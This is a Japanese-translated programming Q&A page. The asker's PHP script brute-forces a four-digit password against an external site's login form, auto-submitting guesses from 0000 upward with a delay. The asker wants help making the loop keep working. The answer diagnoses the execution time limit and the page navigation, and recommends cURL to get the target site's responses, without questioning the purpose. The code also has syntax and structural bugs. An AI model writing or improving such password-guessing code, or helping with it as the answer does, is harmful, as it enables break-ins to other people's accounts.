-1

2つの問題があります。これが私のスクリプトです.....

<?php

   echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">";
echo "<head>";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />";
echo "<link href=\"/library/skin/tool_base.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<link href=\"/library/skin/default/tool.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />";
echo "<title>Etudes</title>";
echo "<script type=\"text/javascript\" language=\"JavaScript\" src=\"/library/js/headscripts.js\"></script>";
echo "</head>";
echo "<body>";

echo "<script type=\"text/javascript\" language=\"JavaScript\">";
echo "focus_path = [\"eid\"];";
echo "</script>";

echo "<form id=\"form\" method=\"post\" target='_blank' action=\"www.xxxxx.com" enctype=\"application/x-www-form-urlencoded\">";
echo "<table border=\"0\" class=\"loginform\" summary=\"layout\">";         
echo "<label for=\"eid\">User id</label>";                                      
echo "<input name=\"eid\" id=\"eid\"  type=\"text\" value=\"USERNAME\"/>";                                      
echo "<label for=\"pw\">Password</label>";

$pass1 = "0";
$pass2 = "0";
$pass3 = "0";
$pass4 = "0";

set_time_limit(0);

for($i = 0; $i < 2; $i++)
{
$pass = $pass1.$pass2.$pass3.$pass4;

echo "$pass";

echo "<input name=\"pw\" id=\"pw\"  type=\"password\" value=\"$pass\"/>";

echo "<script language=\"Javascript\" type=\"text/javascript\">";

echo "document.forms[\"form\"].submit();";

echo "</script>";

   $pass4 = $pass4 + 1; 

if($pass4 == 10)
{
    $pass3 = $pass3 + 1;
    $pass4 = 0;
}
if($pass3 == 10)
{
    $pass2 = $pass2 + 1;
    $pass3 = 0;
}
if($pass2 == 10)
{   
    $pass1 = $pass1 + 1;
    $pass2 = 0;
}
if($pass1 == 10)
{
    echo "Fail";
    break;
}
  usleep(10000000);
  flush();
  ob_flush;
}

?>                      
</table>                        
</form>                 

</table>

</body>
</html>

/////////////////////////////////////////////// ///////////////

問題 1) usleep() と sleep() を試してみましたが、最初は数回動作し、ファイルを実行し、次に時間を遅らせ、次に実行し、次に遅らせました。しかし、3回目以降はうまくいきませんでした。

問題2)ループなしで「www.xxx.com」にログインすると問題なく動作しますが、ループに入れると、たとえば(パスワードが0002だとしましょう):ログイン:ユーザー名パスワード:0000

不正なログイン!

ログイン: ユーザー名 パスワード: 0001

不正なログイン!

ログイン: ユーザー名 パスワード: 0002

不正なログイン!

..それでも無効なログインが表示される! どんな助けでも大歓迎です:)ありがとう。

4

1 に答える 1

1

問題 1) 最大実行時間 (PHP がスクリプトに課す構成可能な制限) に達していると思います。通常、PHP スクリプトは長寿命のプログラムではありません。それらは 1 つのページビュー、1 つのスクリプトをすばやく実行することになっているため、セキュリティ対策 (サービス拒否攻撃を防止する) として、たとえば 60 秒より長く存続するスクリプトは単純に中止されます。その構成値については、php.ini を確認してください。

問題 2) スクリプトの「送信」部分をコメントアウトし、出力を確認しましたか? あなたのプログラムは、フォームの先頭を 1 回だけ印刷し、残りを 9999 回印刷しようとしていると思います。さらに、フォームを送信すると、ブラウザーは単にページ (およびスクリプト) を離れ、2 回目は送信できないため、最初にしか機能しません。

外部サイトからの応答を取得するには、CURLを使用する必要があります。

于 2012-05-28T01:48:30.997 に答える